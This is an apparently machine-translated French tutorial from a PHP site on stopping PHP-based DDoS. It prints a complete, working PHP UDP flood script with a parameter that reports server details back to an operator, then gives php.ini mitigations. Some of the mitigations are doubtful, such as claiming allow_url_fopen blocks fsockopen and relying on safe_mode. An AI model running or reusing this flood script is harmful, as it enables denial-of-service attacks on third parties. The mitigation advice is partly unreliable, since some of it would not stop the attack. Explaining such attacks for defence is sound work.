Maison >développement back-end >tutoriel php >Solution PHP aux attaques DDoS

Solution PHP aux attaques DDoS

怪我咯
怪我咯original
2017-07-13 14:11:482141parcourir

Commencez par comprendre les ddos : L'attaque par déni de service distribué (DDoS : Distributed Denial of Service) fait référence à l'utilisation de la technologie client/serveur pour unir plusieurs ordinateurs en tant que plate-forme d'attaque afin de lancer des attaques DDoS contre une ou plusieurs cibles, ainsi. augmentant de manière exponentielle la puissance des attaques par déni de service. Habituellement, un attaquant utilise un compte volé pour installer le programme maître DDoS sur un ordinateur. À un moment donné, le programme maître communiquera avec un grand nombre d'agents installés sur le réseau sur de nombreux ordinateurs. L'agent lance l'attaque lorsqu'on lui demande de le faire. Grâce à la technologie client/serveur, le programme maître peut activer des centaines ou des milliers d'exécutions d'agents en quelques secondes.

Utilisons une analogie pour comprendre en profondeur ce qu'est le DDOS.

Un groupe d'intimidateurs tentent d'empêcher le magasin concurrent d'en face de fonctionner normalement. Quelles méthodes vont-ils utiliser ? (Ce n'est qu'un exemple, n'imitez pas.) Les tyrans se font passer pour des clients ordinaires et se pressent dans les magasins de leurs concurrents, refusant de sortir, mais les vrais acheteurs ne peuvent pas entrer ou discutent toujours avec les vendeurs, de sorte que le personnel ne peut pas le faire. servir les clients normalement ; cela peut également fournir de fausses informations aux exploitants du magasin, une fois que tout le monde dans le magasin est occupé, ils découvrent que tout est en vain et que les vrais gros clients finissent par être perdus, ce qui entraîne de lourdes pertes. De plus, il est parfois difficile pour les intimidateurs d’accomplir ces mauvaises actions par eux-mêmes, ce qui nécessite la collaboration de nombreuses personnes. Eh bien, les attaques DoS et DDoS dans le domaine de la sécurité des réseaux suivent ces idées.

Cet article présente principalement la solution aux attaques Ddos en PHP. Il analyse les principes et les solutions ciblées des programmes d'attaque Ddos avec des exemples. C'est une compétence très pratique qui en a besoin peut s'y référer

.

Regardez d'abord le code source, le code est le suivant :

<?php 
set_time_limit(999999); 
$host = $_GET[&#39;host&#39;]; 
$port = $_GET[&#39;port&#39;]; 
$exec_time = $_GET[&#39;time&#39;]; 
$Sendlen = 65535; 
$packets = 0; 
ignore_user_abort(True); 
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
        if (StrLen($_GET[&#39;rat&#39;])<>0){ 
                echo $_GET[&#39;rat&#39;].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER[&#39;SERVER_NAME&#39;])."|".php_uname()."|".$_SERVER[&#39;SERVER_SOFTWARE&#39;].$_GET[&#39;rat&#39;]; 
                exit; 
            } 
        echo "Parameters can not be empty!"; 
        exit; 
    } 
 
for($i=0;$i<$Sendlen;$i++){ 
        $out .= "A"; 
    } 
 
$max_time = time()+$exec_time; 
 
while(1){ 
    $packets++; 
    if(time() > $max_time){ 
        break; 
    } 
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 
        if($fp){ 
            fwrite($fp, $out); 
            fclose($fp); 
    } 
} 
 
echo "Send Host:$host:$port<br><br>"; 
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 
?>

Le code clé est le suivant :

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
La méthode est très simple, envoyez un paquet UDP à l'hôte cible, en Couplé à la définition d'une

boucle morte infinie , cela créera une plus grande pression

Cette pression est pour le serveur qui exécute cela. script, car il impose d'abord un impact énorme sur sa propre largeur de réseau et son CPU. Si vous souhaitez utiliser ce script pour faire pression sur le site cible, vous devez exécuter le script sur plusieurs serveurs, puisque vous utilisez fsockopen pour le faire. demander des requêtes externes, alors ne lui permettez pas de demander

Défini dans php.ini, le code est le suivant :

allow_url_fopen = Off
S'il peut toujours envoyer. le package, le code est le suivant :

extension=php_sockets.dll
est remplacé par

;extension=php_sockets.dll
Redémarrez APACHE, IIS et NGINX, afin d'empêcher PHP DDOS d'envoyer des packages.

De plus, certains internautes ont déclaré qu'il est très simple de définir l'interdiction du script sans délai d'attente :

1 Désactivez la fonction set_time_limit

2. Activez le

mode sans échec(safe_mode=on).

Désactivez la fonction socket et vous pouvez mettre le module socket directement. Vous pouvez également désactiver la fonction fsockopen en désactivant tout. Il est recommandé que puisque. socket est souvent utilisé pour envoyer des emails afin de récupérer des mots de passe, il est recommandé d'activer directement le mode sans échec. Cependant, dans ce cas, le script expirera toutes les 30 secondes. On estime qu'aucun "hacker" n'est assez seul pour le faire. toutes les 30 secondes. Cliquez pour démarrer DDOS.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn